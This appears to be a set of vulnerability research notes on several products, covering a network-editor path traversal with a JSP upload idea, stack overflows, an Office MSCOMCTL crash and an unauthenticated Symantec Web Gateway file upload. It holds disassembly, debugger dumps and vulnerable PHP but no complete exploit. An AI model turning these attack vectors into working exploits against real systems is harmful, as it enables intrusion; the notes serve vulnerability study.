            "packetLoss": {
                "packetLossType": "None"
            },
            "bitError": {
                "isActive": false,
                "avgFrequency": 0,
                "min": 0,
                "max": 0
            },
            "congestion": {
                "isActive": false,
                "avgFrequency": 0,
                "min": 0,
                "max": 0,
                "fixedLatency": {
                    "latencyType": "Fixed",
                    "latency": 0
                },
                "randomPacketLoss": {
                    "packetLossType": "Random",
                    "chance": 0
                }
            },
            "disconnect": {
                "isActive": false,
                "avgFrequency": 0,
                "min": 0,
                "max": 0
            },
            "duplicatePackets": {
                "isActive": false,
                "chance": 0,
                "min": 0,
                "max": 0
            },
            "fragmentation": {
                "isActive": false,
                "chance": 0,
                "maxTransmitUnit": 0,
                "behavior": "Ignore"
            },
            "outOfOrder": {
                "isActive": false,
                "chance": 0,
                "min": 0,
                "max": 0
            }
        },
        "clientGateway": {
            "bandwidth": {
                "upLink": {
                    "isManual": true,
                    "bandwidth": 330
                },
                "downLink": {
                    "isManual": true,
                    "bandwidth": 780
                }
            },
            "isActiveBucketLimitation": false,
            "bucketLimitation": null,
            "isActivePacketOverhead": false,
            "packetType": null
        },
        "serverGateway": {
            "bandwidth": {
                "upLink": {
                    "isManual": true,
                    "bandwidth": 0
                },
                "downLink": {
                    "isManual": true,
                    "bandwidth": 0
                }
            },
            "isActiveBucketLimitation": false,
            "bucketLimitation": null,
            "isActivePacketOverhead": false,
            "packetType": null
        },
        "endpoints": {
            "serverEndpoint": {
                "rangeGroups": [{
                    "includeRange": {
                        "fromIp": "1.0.0.0",
                        "toIp": "255.255.255.255",
                        "protocol": "ALL",
                        "port": 0
                    },
                    "excludeRanges": [{
                        "fromIp": "1.0.0.0",
                        "toIp": "1.0.0.0",
                        "protocol": "ALL",
                        "port": 0
                    }]
                }],
                "rangeDefinition": "custom"
            },
            "clientEndpoint": {
                "rangeGroups": [{
                    "includeRange": {
                        "fromIp": "1.0.0.0",
                        "toIp": "1.0.0.0",
                        "protocol": "ALL",
                        "port": 0
                    },
                    "excludeRanges": []
                }],
                "rangeDefinition": "custom"
            }
        },
        "packetList": true,
        "name": "3G"
    }]
}

It allows to create a File like;

<NETWOR_X ID="Network_Editor" NAME="..\..\..\metasploit2.txt" ORIGIN="Network Editor Multi Flow" CREATED_BY="Network Editor Multi Flow" CREATED_ON_DATE="14-08-27 17:32:41" NETWOR_X_VERSION="2.2" CREATED_ON_HOST_NAME="juan-6ed9db6ca8">
  <NET_OBJECTS>
    <WAN_CLOUD FLOW_ID="FLOWS_1-3G" ID="ID_WAN_CLOUD_FLOWS_1-3G" NAME="Wan" DESCRIPTION="3G">
      <FIXED_LATENCY LATENCY="75.0"/>
    </WAN_CLOUD>
    <GATEWAY FLOW_ID="FLOWS_1-3G" ID="ID_CLIENT_GW_FLOWS_1-3G" NAME="Clientgateway">
      <NICS>
        <NIC FLOW_ID="FLOWS_1-3G" ID="ID_CLIENT_GW__NIC_1_FLOWS_1-3G" NAME="ClientDownlink" BANDWIDTH="780.0" IN_BW_UTIL="0" OUT_BW_UTIL="0" PACKET_OVERHEAD_BYTES=""/>
        <NIC FLOW_ID="FLOWS_1-3G" ID="ID_CLIENT_GW__NIC_2_FLOWS_1-3G" NAME="ClientUplink" BANDWIDTH="330.0" IN_BW_UTIL="0" OUT_BW_UTIL="0" PACKET_OVERHEAD_BYTES=""/>
      </NICS>
    </GATEWAY>
    <GATEWAY FLOW_ID="FLOWS_1-3G" ID="ID_SERVER_GW_FLOWS_1-3G" NAME="Servergateway">
      <NICS>
        <NIC FLOW_ID="FLOWS_1-3G" ID="ID_SERVER_GW__NIC_1_FLOWS_1-3G" NAME="ServerUplink" BANDWIDTH="0.0" IN_BW_UTIL="0" OUT_BW_UTIL="0" PACKET_OVERHEAD_BYTES=""/>
        <NIC FLOW_ID="FLOWS_1-3G" ID="ID_SERVER_GW__NIC_2_FLOWS_1-3G" NAME="ServerDownlink" BANDWIDTH="0.0" IN_BW_UTIL="0" OUT_BW_UTIL="0" PACKET_OVERHEAD_BYTES=""/>
      </NICS>
    </GATEWAY>
    <ENDPOINT FLOW_ID="FLOWS_1-3G" ID="ID_CLIENT_FLOWS_1-3G" NAME="Client">
      <INCLUDE_IPS>
        <IP_RANGE FROM_IP="1.0.0.0" TO_IP="1.0.0.0" PROTOCOL="0" PORT="0" IP_VERSION="4"/>
      </INCLUDE_IPS>
    </ENDPOINT>
    <ENDPOINT FLOW_ID="FLOWS_1-3G" ID="ID_SERVER_FLOWS_1-3G" NAME="Server">
      <INCLUDE_IPS>
        <IP_RANGE FROM_IP="1.0.0.0" TO_IP="255.255.255.255" PROTOCOL="0" PORT="0" IP_VERSION="4"/>
      </INCLUDE_IPS>
      <EXCLUDE_IPS>
        <IP_RANGE FROM_IP="1.0.0.0" TO_IP="1.0.0.0" PROTOCOL="0" PORT="0" IP_VERSION="4"/>
      </EXCLUDE_IPS>
    </ENDPOINT>
    <PACKET_LIST FLOW_ID="FLOWS_1-3G" ID="ID_PACKET_LIST_CLIENT_FLOWS_1-3G" NAME="PACKET_LIST_CLIENT_FLOWS_1-3G"/>
  </NET_OBJECTS>
  <LINKS>
    <LINK TO_OBJECT="ID_PACKET_LIST_CLIENT_FLOWS_1-3G" FROM_OBJECT="ID_CLIENT_FLOWS_1-3G" UNIDIRECTIONAL="false"/>
    <LINK TO_OBJECT="ID_CLIENT_GW__NIC_1_FLOWS_1-3G" FROM_OBJECT="ID_PACKET_LIST_CLIENT_FLOWS_1-3G" UNIDIRECTIONAL="false"/>
    <LINK TO_OBJECT="ID_WAN_CLOUD_FLOWS_1-3G" FROM_OBJECT="ID_CLIENT_GW__NIC_2_FLOWS_1-3G" UNIDIRECTIONAL="false"/>
    <LINK TO_OBJECT="ID_SERVER_GW__NIC_1_FLOWS_1-3G" FROM_OBJECT="ID_WAN_CLOUD_FLOWS_1-3G" UNIDIRECTIONAL="false"/>
    <LINK TO_OBJECT="ID_SERVER_FLOWS_1-3G" FROM_OBJECT="ID_SERVER_GW__NIC_2_FLOWS_1-3G" UNIDIRECTIONAL="false"/>
  </LINKS>
</NETWOR_X>

Text contents can be controlled. Feasible attack vector: upload a JSP. Problems

  • Shunra doesn’t handle JSP directly.
  • Use the HP LoadRunner instance, unfortunately it’s not necessary to run it to have Shunra running. So it’s hard to write a reliable
    exploit which work son the default conditions.

Maybe there is something I’m forgetting to get reliable code execution with not full controled (text contents) traversal…feedback is welcome.

1
Technical Analysis

The stack overflow happens in sub_10004BC8:

.text:10004BC8 ; int __cdecl sub_10004BC8(char *Format, char)
.text:10004BC8 sub_10004BC8    proc near               ;
.text:10004BC8                                         ;
.text:10004BC8
.text:10004BC8 lpWindowName    = dword ptr -818h
.text:10004BC8 hWnd            = dword ptr -814h
.text:10004BC8 lpClassName     = dword ptr -810h
.text:10004BC8 Args            = dword ptr -80Ch
.text:10004BC8 lpBaseAddress   = dword ptr -808h
.text:10004BC8 hFileMappingObject= dword ptr -804h
.text:10004BC8 Dest            = byte ptr -800h
.text:10004BC8 Format          = dword ptr  8
.text:10004BC8 arg_4           = byte ptr  0Ch
.text:10004BC8
.text:10004BC8                 push    ebp
.text:10004BC9                 mov     ebp, esp
.text:10004BCB                 sub     esp, 818h
.text:10004BD1                 mov     [ebp+lpWindowName], offset aDebugScreen1    ; "Debug Screen1"
.text:10004BDB                 mov     [ebp+lpClassName], offset aDebugwclass1     ; "debugWClass1"
.text:10004BE5                 lea     eax, [ebp+arg_4]
.text:10004BE8                 mov     [ebp+Args], eax
.text:10004BEE                 mov     ecx, [ebp+Args]
.text:10004BF4                 push    ecx                                         ; Args
.text:10004BF5                 mov     edx, [ebp+Format]
.text:10004BF8                 push    edx                                         ; Format
.text:10004BF9                 lea     eax, [ebp+Dest]
.text:10004BFF                 push    eax                                         ; Dest
.text:10004C00                 call    ds:vsprintf                                 ; overflow

The corresponding IDL is below:

[
 uuid(5d2b62aa-ee0a-4a95-91ae-b064fdb471fc),
 version(1.0)
]

interface target_interface
{

/* opcode: 0x01, address: 0x00401260 */

void sub_401260 (
 [in] handle_t  arg_1,
 [in] long  arg_2,
 [in] long  arg_3,
 [in] long  arg_4,
 [in][ref][size_is(arg_4)] char * arg_5,
 [out][ref] long * arg_6
);

}
1
Technical Analysis

To trigger this:

  1. Open the poc with Microsoft Word 2003
  2. Close Microsoft Word, that’s when the crash is triggered.
0:000> r
eax=056ef534 ebx=00000000 ecx=00000000 edx=02ac0007 esi=0571c18c edi=00000000
eip=2758fce3 esp=0012e348 ebp=0012e3f4 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210212
MSCOMCTL!DllGetClassObject+0x8f9f:
2758fce3 ff5108          call    dword ptr [ecx+8]    ds:0023:00000008=????????
0:000> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0012e3f4 650cd2e2 MSCOMCTL!DllGetClassObject+0x8f9f
0012e40c 650cd052 VBE6!rtcSendKeys+0x1d442
00000000 00000000 VBE6!rtcSendKeys+0x1d1b2

MSCOMCTL!DllGetClassObject+0x8f91:
2758fcd5 57              push    edi
2758fcd6 8b7828          mov     edi,dword ptr [eax+28h]
2758fcd9 8b481c          mov     ecx,dword ptr [eax+1Ch]
2758fcdc 895848          mov     dword ptr [eax+48h],ebx
2758fcdf 83c01c          add     eax,1Ch
2758fce2 50              push    eax
2758fce3 ff5108          call    dword ptr [ecx+8]

0:000> dc eax
056faeb4  00000000 00000000 00000000 00000000  ................
056faec4  31005c00 00000000 693f3800 44001029  .\.1.....8?i)..D
056faed4  4d55434f 00317e45 03004400 00000000  OCUME~1..D......
056faee4  3c3f37be eb4118bd 000014a6 6f004400  .7?<..A......D.o
056faef4  75006300 65006d00 74006e00 20007300  .c.u.m.e.n.t.s.
056faf04  6e006100 20006400 65005300 74007400  .a.n.d. .S.e.t.t
056faf14  6e006900 73006700 18000000 00000000  .i.n.g.s........
056faf24  00000000 00130010 010c017a 0018e920  ........z... ...

Note:
This crash is different than CVE-2012-0158, despite the fact they both target the same component.
CVE-0158 is due to a memcpy call, and then retn to the user-controlled stack. However, this PoC
leverages from a CALL [ECX+8] call.

  • Using samples provided by nex

071cb2398e5b6ad9e965c4191443227166861129eb4aca6fc1fc647b85eb91d6

Office 2003 crash:

0:004> sxe ld mscomctl
0:004> g
ModLoad: 27580000 27685000   C:\WINDOWS\system32\MSCOMCTL.OCX
eax=00000000 ebx=00000000 ecx=02bd0000 edx=7c90e4f4 esi=00000000 edi=00000000
eip=7c90e4f4 esp=0011fe58 ebp=0011ff4c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCallRet:
7c90e4f4 c3              ret
0:000> u 2758fce3
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\MSCOMCTL.OCX -
MSCOMCTL!DllGetClassObject+0x8f9f:
2758fce3 ff5108          call    dword ptr [ecx+8]
2758fce6 3bfb            cmp     edi,ebx
2758fce8 8bc7            mov     eax,edi
2758fcea 75ea            jne     MSCOMCTL!DllGetClassObject+0x8f92 (2758fcd6)
2758fcec 5f              pop     edi
2758fced ebd1            jmp     MSCOMCTL!DllGetClassObject+0x8f7c (2758fcc0)
2758fcef 56              push    esi
2758fcf0 57              push    edi
0:000> bp 2758fce3
0:000> g
Breakpoint 0 hit
eax=01d028a4 ebx=00000000 ecx=2759e3e8 edx=fffffd37 esi=00211ca4 edi=00000000
eip=2758fce3 esp=001213f8 ebp=00121434 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
MSCOMCTL!DllGetClassObject+0x8f9f:
2758fce3 ff5108          call    dword ptr [ecx+8]    ds:0023:2759e3f0=a0255827

Another crash, with interesting stack??

0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00125fb8 30e5982d 01ee0010 3144c8a5 01ee0070 mso!Ordinal2669+0x5f
00125fe0 31443f75 01ee0070 00010000 001260d0 mso!Ordinal2669+0x18
00126000 311a5a49 01ee0010 001260d0 012d0920 mso!Ordinal530+0x352
00126020 311a5f47 001260d0 01c0687c 012d075c mso!Ordinal2690+0x1ac
0012603c 306063d0 012d0920 001260d0 30161ba0 mso!Ordinal2690+0x6aa
00126058 30161a59 001260b0 00000000 00000000 WINWORD!wdCommandDispatch+0x1d695
0012608c 30609242 001260b0 000000d2 00a20394 WINWORD+0x161a59
001261b0 7c80ae80 30c90000 00000000 30c90000 WINWORD!wdCommandDispatch+0x20507
0012622c 7c80ae6e 00126254 7c80ae80 30c90000 kernel32!GetProcAddress+0x5b
00126254 00126244 30c90000 0012f904 30ed90c6 kernel32!GetProcAddress+0x43
0012626c 30e59897 30e5982d 00a20178 30e5979a 0x126244 <====
00126270 30e5982d 00a20178 30e5979a 00a353a4 mso!Ordinal2669+0x82
00126278 30e5979a 00a353a4 000000d8 300d9800 mso!Ordinal2669+0x18
00126294 3018c671 00000001 000000d8 000000c8 mso!Ordinal2402+0x13
001262ac 3060295c 00000000 00000003 00a20178 WINWORD+0x18c671
001262d4 3060958f 30609596 00126308 00000000 WINWORD!wdCommandDispatch+0x19c21
00126338 304c7d41 01c05c78 00000001 00000000 WINWORD!wdCommandDispatch+0x20854
00126354 3003caf0 00000003 00000001 00000001 WINWORD+0x4c7d41
00000000 00000000 00000000 00000000 00000000 WINWORD+0x3caf0

Office 2007 crash

Microsoft (R) Windows Debugger Version 6.2.8400.0 X86
Copyright (c) Microsoft Corporation. All rights reserved.

*** wait with pending attach
Symbol search path is: *** Invalid ***
****************************************************************************
* Symbol loading may be unreliable without a symbol search path.           *
* Use .symfix to have the debugger choose a symbol path.                   *
* After setting your symbol path, use .reload to refresh symbol locations. *
****************************************************************************
Executable search path is:
ModLoad: 30000000 30057000   C:\Program Files\Microsoft Office\Office12\WINWORD.EXE
ModLoad: 7c900000 7c9af000   C:\WINDOWS\system32\ntdll.dll
ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll
ModLoad: 78130000 781cb000   C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.42_x-ww_0de06acd\MSVCR80.dll
ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll
ModLoad: 31240000 322ec000   C:\Program Files\Microsoft Office\Office12\wwlib.dll
ModLoad: 77dd0000 77e6b000   C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e70000 77f02000   C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77fe0000 77ff1000   C:\WINDOWS\system32\Secur32.dll
ModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dll
ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dll
ModLoad: 774e0000 7761d000   C:\WINDOWS\system32\ole32.dll
ModLoad: 3a9d0000 3b750000   C:\Program Files\Microsoft Office\Office12\oart.dll
ModLoad: 32600000 33618000   C:\Program Files\Common Files\Microsoft Shared\office12\mso.dll
ModLoad: 3fde0000 40221000   C:\WINDOWS\system32\msi.dll
ModLoad: 33d00000 33dd7000   C:\Program Files\Microsoft Office\Office12\1033\wwintl.dll
ModLoad: 773d0000 774d3000   C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\Comctl32.dll
ModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 74720000 7476c000   C:\WINDOWS\system32\MSCTF.dll
ModLoad: 00cc0000 01314000   C:\Program Files\Common Files\Microsoft Shared\OFFICE12\MSORES.DLL
ModLoad: 6bdc0000 6be7a000   C:\Program Files\Common Files\Microsoft Shared\OFFICE12\MSPTLS.DLL
ModLoad: 7c9c0000 7d1d7000   C:\WINDOWS\system32\SHELL32.DLL
ModLoad: 5d090000 5d12a000   C:\WINDOWS\system32\comctl32.dll
ModLoad: 01bf0000 025cd000   C:\Program Files\Common Files\Microsoft Shared\office12\1033\MSOINTL.DLL
ModLoad: 79000000 7904a000   C:\WINDOWS\system32\mscoree.dll
ModLoad: 603b0000 60416000   C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
ModLoad: 77c00000 77c08000   C:\WINDOWS\system32\VERSION.DLL
ModLoad: 73000000 73026000   C:\WINDOWS\system32\Winspool.DRV
ModLoad: 7e660000 7e715000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\PS5UI.DLL
ModLoad: 77120000 771ab000   C:\WINDOWS\system32\OLEAUT32.dll
ModLoad: 5ad70000 5ada8000   C:\WINDOWS\system32\UxTheme.DLL
ModLoad: 3a780000 3a889000   C:\Program Files\Common Files\Microsoft Shared\office12\riched20.dll
ModLoad: 76fd0000 7704f000   C:\WINDOWS\system32\CLBCATQ.DLL
ModLoad: 77050000 77115000   C:\WINDOWS\system32\COMRes.dll
ModLoad: 78800000 7895c000   C:\Program Files\Common Files\Microsoft Shared\OFFICE11\msxml5.dll
ModLoad: 77920000 77a13000   C:\WINDOWS\system32\SETUPAPI.dll
ModLoad: 02dd0000 03095000   C:\WINDOWS\system32\xpsp2res.dll
ModLoad: 3bd10000 3bea5000   C:\Program Files\Common Files\Microsoft Shared\OFFICE12\OGL.DLL
ModLoad: 76f50000 76f58000   C:\WINDOWS\system32\WTSAPI32.DLL
ModLoad: 76360000 76370000   C:\WINDOWS\system32\WINSTA.dll
ModLoad: 5b860000 5b8b5000   C:\WINDOWS\system32\NETAPI32.dll
ModLoad: 73ba0000 73bb3000   C:\WINDOWS\system32\sti.dll
ModLoad: 74ae0000 74ae7000   C:\WINDOWS\system32\CFGMGR32.dll
ModLoad: 7e1e0000 7e282000   C:\WINDOWS\system32\urlmon.dll
ModLoad: 6bd10000 6bd24000   C:\Program Files\Microsoft Office\Office12\MSOHEV.DLL
ModLoad: 40390000 40446000   C:\Program Files\Microsoft Office\Office12\msproof6.dll
ModLoad: 7c420000 7c4a7000   C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.42_x-ww_0de06acd\MSVCP80.dll
ModLoad: 7e720000 7e7d0000   C:\WINDOWS\system32\SXS.DLL
(a7c.b3c): Break instruction exception - code 80000003 (first chance)
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\ntdll.dll -
eax=7ffd9000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c90120e esp=03f3ffcc ebp=03f3fff4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
7c90120e cc              int     3
0:007> g
ModLoad: 77b40000 77b62000   C:\WINDOWS\system32\appHelp.dll
ModLoad: 77a20000 77a74000   C:\WINDOWS\System32\cscui.dll
ModLoad: 76600000 7661d000   C:\WINDOWS\System32\CSCDLL.dll
ModLoad: 75f80000 7607d000   C:\WINDOWS\system32\browseui.dll
ModLoad: 76990000 769b5000   C:\WINDOWS\system32\ntshrui.dll
ModLoad: 76b20000 76b31000   C:\WINDOWS\system32\ATL.DLL
ModLoad: 769c0000 76a74000   C:\WINDOWS\system32\USERENV.dll
ModLoad: 7e290000 7e401000   C:\WINDOWS\system32\SHDOCVW.dll
ModLoad: 77a80000 77b15000   C:\WINDOWS\system32\CRYPT32.dll
ModLoad: 77b20000 77b32000   C:\WINDOWS\system32\MSASN1.dll
ModLoad: 754d0000 75550000   C:\WINDOWS\system32\CRYPTUI.dll
ModLoad: 771b0000 7725a000   C:\WINDOWS\system32\WININET.dll
ModLoad: 76c30000 76c5e000   C:\WINDOWS\system32\WINTRUST.dll
ModLoad: 76c90000 76cb8000   C:\WINDOWS\system32\IMAGEHLP.dll
ModLoad: 76f60000 76f8c000   C:\WINDOWS\system32\WLDAP32.dll
ModLoad: 76980000 76988000   C:\WINDOWS\system32\LINKINFO.dll
ModLoad: 27580000 27685000   C:\WINDOWS\system32\MSCOMCTL.OCX
ModLoad: 763b0000 763f9000   C:\WINDOWS\system32\comdlg32.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 42640000 426c7000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\PSCRIPT5.DLL
ModLoad: 73b30000 73b45000   C:\WINDOWS\system32\mscms.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
ModLoad: 10000000 1001f000   C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\tpps.dll
(a7c.df4): Unknown exception - code e0000002 (first chance)
ModLoad: 65000000 65278000   C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL
ModLoad: 65300000 65326000   C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\1033\VBE6INTL.DLL
(a7c.df4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\MSCOMCTL.OCX -
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Microsoft Office\Office12\wwlib.dll -
eax=001d2d9c ebx=00000000 ecx=000000c4 edx=0237000d esi=0015e484 edi=00000118
eip=2758fce3 esp=00121d10 ebp=00121d64 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
MSCOMCTL!DllGetClassObject+0x8f9f:
2758fce3 ff5108          call    dword ptr [ecx+8]    ds:0023:000000cc=????????
0:000> dd ecx
000000c4  ???????? ???????? ???????? ????????
000000d4  ???????? ???????? ???????? ????????
000000e4  ???????? ???????? ???????? ????????
000000f4  ???????? ???????? ???????? ????????
00000104  ???????? ???????? ???????? ????????
00000114  ???????? ???????? ???????? ????????
00000124  ???????? ???????? ???????? ????????
00000134  ???????? ???????? ???????? ????????
1
Technical Analysis

–|

UDP 1810 = UAM background port for listening to commands from the foreground

0042E597 . FF15 5C015800 CALL DWORD PTR DS:[<&WS2_32.#2>] ; \bind

Each recvfrom() receives a max of 4132 bytes
0042E6A8 . 52 PUSH EDX ; /pFromLen
0042E6A9 . 50 PUSH EAX ; |pFrom
0042E6AA . 53 PUSH EBX ; |Flags
0042E6AB . 8D8C24 BC7B000>LEA ECX,DWORD PTR SS:[ESP+7BBC] ; |
0042E6B2 . 68 24100000 PUSH 1024 ; |BufSize = 1024 (4132.)
0042E6B7 . 51 PUSH ECX ; |Buffer
0042E6B8 . 57 PUSH EDI ; |Socket
0042E6B9 . C78424 0C01000>MOV DWORD PTR SS:[ESP+10C],10 ; |
0042E6C4 . FF15 6C015800 CALL DWORD PTR DS:[<&WS2_32.#17>] ; \recvfrom

After the packet is received, it begins to check the packet size:
0042E6F8 > 81FE 00100000 CMP ESI,1000 ;If larger than 0x1000, bounce
0042E6FE . 0F8F E12F0000 JG uam.004316E5
0042E704 . 83FE 14 CMP ESI,14 ;If less than 0x14, bounce

After the packet gets past the size checks, it checks for a "Command ID":

0042E850 . 817D 00 213D10>CMP DWORD PTR SS:[EBP],F7103D21

When the "Command ID" matches, it begins checking the "Command Type":

0042E85F . E8 D42BFDFF CALL uam.00401438 ; Extract command type

The following "Command Types" are available:

0x101 = Echo request (See 0x0042E88B)
0x102 = Echo reply (See 0x0042E899)
0x201 = Restart command (See 0x0042E87A)
0x202 = Stop command (See 0x0042E95D)
0x303 = get user offline command (See 0x0042E9D6)
0x401 = Re-configure plat request (See 0x0042E9E1)
0x501 = get pause resume command (See 0x0042E9C5)
0x601 = user payment command (See 0x00431563)

Some settings related to logging that can trigger different code paths (ead.TBL_PARAMETE):

1020 PUB_LOG_STORE_TIME 1 30 Days 1 365 Log Lifetime
1310 ENABLE_AUTH_FAIL_SYSLOG 1 0 NULL 0 1 If enable sending the syslog of authentication failed
1311 ENABLE_SAFELOG_SYSLOG 1 0 NULL 0 1 If enable sending the syslog of safelog
1312 SYSLOG_SERVER_IP 2 NULL 0 4294967295 syslog server IP
2060 EAD_LOG_ATT_SUCCEED 1 0 NULL 0 1 If Log Successful Authentication(1-Yes;0-No)
2070 EAD_LOG_CLEAN_VIRUS 1 1 NULL 0 1 If Log Virus Cleanup on Client(1-Yes;0-No)
2170 EAD_LOG_LEVEL 1 3 NULL 0 4 Policy Server Log Level
3000 EAD_REPORT_SAFE_LOG 1 1 NULL 0 1 If the safe log is reported , 1: yes , 0: no
3020 PUB_LOG_LEVEL 1 2 NULL 0 4 Log Level
3030 PUB_LOG_PATH 3 C:\Program Files\iMC\uam\log NULL NULL NULL Log File Path
3040 PUB_LOG_RESERVE_TIME 1 30 Days 1 365 Log And Backup File Lifetime
3100 PORTAL_SERVER_LOG_LEVEL 1 3 NULL 1 6 Portal Log Level
3110 PORTAL_SERVER_LOG_PATH 3 C:\Program Files\iMC\portal\logs\ NULL NULL NULL Portal Log File Path
3140 PORTAL_LOG_LIST_LENGTH 1 1000 NULL 1 65535 Portal Log Queue Length
3170 PUB_AUTH_FAIL_LOG_TIME 1 90 day 1 365 Auth Fail Log reserve Time
3320 PUB_ENDUSER_MODIFY_PASSWD_LIMIT 0 0 NULL 0 1 Allow User Login(1-YES;0-NO)
4053 SSV_TOP_LOGO 3 login_3com.gif NULL NULL NULL the top image name in the first page of SSV
4054 SSV_BOTTOM_LOGO 3 3com_about.gif NULL NULL NULL the bottom image name in the first page of SSV
4055 SSV_ABOUT_LOGO 3 logo_top_3com.gif NULL NULL NULL the top logo name in the page after a user logging in
7008 MSCHAPV2_LOG_LEVEL 3 3 NULL NULL NULL MSChapV2 log level

An example of how to update a setting:

UPDATE [ead].[ead].[TBL_PARAMETER] SET VALUE=5 where PARAMETER_NAME=‘PUB_LOG_LEVEL’
”`

1
Technical Analysis

Version analyzed: DameWare Support Control 10.0.0.372

Vulnerability is due to the insecure usage of fgetws

””
.text:0040D6AA push edi ; FILE *
.text:0040D6AB lea ecx, [esp+2234h+var_2010]
.text:0040D6B2 push 1FF0h ; int
.text:0040D6B7 push ecx ; wchar_t *
.text:0040D6B8 call _fgetws ; bof here!

Later also in a loop:

while ( fgetws(&v20, 8176, v3) );

Unfortunately, no success searching for valid UNICODE pointers for ppr:

!py mona seh -all , manual exam of the results, any UNICODE compliant pointer :
”`

Vulnerable function is protected by stack cookies.

1
Technical Analysis

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations
of Symantec Web Gateway. Authentication is not required to exploit this vulnerability.

The specific flaw exists because Symantec Web Gateway allows unauthenticated users to upload a file
while preserving the file extension. This allows users to upload additional script files that can
be used to execute remote code from user supplied commands under the context of the webserver.

Details

blocked_file

<?php
	include_once("config/conf.php");
	include_once("config/db.php");
	include_once("includes/util_functions.php");


	if (isset($_POST['submitted']))
	{
		$updated = true;
		unescape_form_vals(); // remove slashes form values	as we are displaying only

		$new_image = $_FILES['new_image'];
		$before_filename = $_POST['before_filename'];
		$after_filename = $_POST['after_filename'];

		$image_query = "select value from mi5_blockpagemsg where name='image_name'";
		$image_result = @mysql_query($image_query);
		$image_row = @mysql_fetch_assoc($image_result);
		$old_image_name = $image_row['value'];
		@mysql_free_result($image_result);
		$image_name = $old_image_name;
		$image_url = $upload_image_url . "/". $image_name;

		if ($new_image['error'] == UPLOAD_ERR_OK && $new_image['size'] > 0) // file is uploaded
		{
			$return_arr = upload_file($new_image, $upload_image_path_temp, "temp");
			if ($return_arr['uploaded'])
			{
				$image_name = $return_arr['new_file_name'];
				$image_url = $upload_image_url_temp . "/". $image_name;
			}
		}
	}

?>
